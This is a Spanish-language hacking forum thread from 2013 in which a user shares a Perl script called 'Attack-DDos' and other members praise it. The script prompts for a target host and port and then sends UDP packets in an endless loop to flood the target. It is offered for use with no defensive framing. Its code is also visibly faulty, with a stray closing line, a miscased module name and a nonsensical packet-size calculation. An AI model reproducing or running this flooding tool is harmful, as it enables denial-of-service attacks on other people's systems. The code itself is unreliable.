help_outline
Ayudanos!
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

#; [Perl] Attack-Ddos

  • 3 Respuestas
  • 1593 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Mayk0

  • *
  • Underc0der
  • Mensajes: 126
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Hacktivismo Latinoamerica
    • Email
  • Skype: maykozapata
« en: Febrero 03, 2013, 10:49:43 pm »
Bueno Les dejo Este Perl Simple Creado Por Karol y Por Mi..
Como Para que Vallan conosiendola #;Ka]R[oL;X

Espero Les Guste, Y Bueno Una Bienvenida Para ella, Une Nueva apertura a el conosimiento Informatico

                                         

Código: Perl
  1. #!/usr/bin/perl
  2. ##############################################################
  3. #          __  __          __                         __     #
  4. #         / / / /___  ____/ /__  ______________  ____/ /__   #
  5. #        / / / / __ \/ __  / _ \/ ___/ ___/ __ \/ __  / _ \  #
  6. #       / /_/ / / / / /_/ /  __/ /  / /__/ /_/ / /_/ /  __/  #
  7. #       \____/_/ /_/\__,_/\___/_/   \___/\____/\__,_/\___/   #
  8. #                                                            #
  9. #                 -------------------------------            #
  10. #                        -  Attack-DDos  -                   #
  11. #                 -------------------------------            #
  12. #        Creado Por #;Ka]R[oL;X y -|[Xx-Ma[y]kO-xX]|-        #
  13. ##############################################################
  14. );
  15.  
  16. use io::socket;
  17.  
  18. print "Host: ";
  19. chop ($host = <stdin>);
  20. print "Port: ";
  21. chop ($port = <stdin>);
  22.  
  23. {
  24. $sock = IO::Socket::INET->new (
  25. PeerAddr => $host,
  26. PeerPort => $port,
  27. Proto => 'udp') || die "$! Error! ha introducido algun dato incorrecto, vuelva a intentarlo";
  28. }
  29. packets:
  30. while (1) {
  31. $size = rand() * 30000000000000 * 30000000;
  32. print ("$host:$port Packet size: $size\n");
  33. send($sock, 0, $size);
  34. }

De a poco Se va cresiendo...
« Última modificación: Marzo 14, 2015, 10:25:00 am por Expermicid »

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #1 en: Febrero 03, 2013, 11:08:23 pm »
buen aporte bro y bienvenida a karol y a vos.

Desconectado alexander1712

  • *
  • Underc0der
  • Mensajes: 850
  • Actividad:
    0%
  • Reputación -2
    • Ver Perfil
    • El blog del programador
    • Email
« Respuesta #2 en: Febrero 03, 2013, 11:22:20 pm »
buen aporte +1karma



por cierto #;Ka]R[oL;X no se puede acceder a su perfil.

sugierele que se presente así la conocen todos.

saludos!

Desconectado Mayk0

  • *
  • Underc0der
  • Mensajes: 126
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Hacktivismo Latinoamerica
    • Email
  • Skype: maykozapata
« Respuesta #3 en: Febrero 04, 2013, 02:44:03 am »
Muchas Gracias! , Ahora hablo con karol y le Aviiso! :B

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3347
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1610
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1228
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 266
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1394
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear